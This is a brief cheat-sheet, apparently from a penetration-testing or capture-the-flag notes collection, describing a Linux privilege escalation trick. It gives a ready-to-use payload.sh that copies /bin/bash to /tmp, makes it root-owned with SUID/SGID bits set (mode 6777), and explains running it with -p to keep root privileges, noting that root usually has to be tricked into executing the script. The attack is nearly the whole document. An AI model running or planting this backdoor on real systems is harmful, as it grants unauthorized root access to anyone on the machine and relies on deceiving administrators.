Summery

This is a SUID/SGID privilege escalation technique using a copied Bash binary. In essence you usually need to trick root into executing this file, it will then create a shell.sh which is a super-charged bash shell which can be used by anyone to become root.

Commands

You can name this script payload.sh.

#!/bin/bash
cp /bin/bash /tmp/shell.sh
chown root:root /tmp/shell.sh
chmod 6777 /tmp/shell.sh

Remember to make it executable - chmod +x payload.sh.
To be sure that the privileges don’t drop, execute it with the -p flag, like so ./shell.sh -p.

References

Used in: Editorial
Similar concepts: SUID & GUID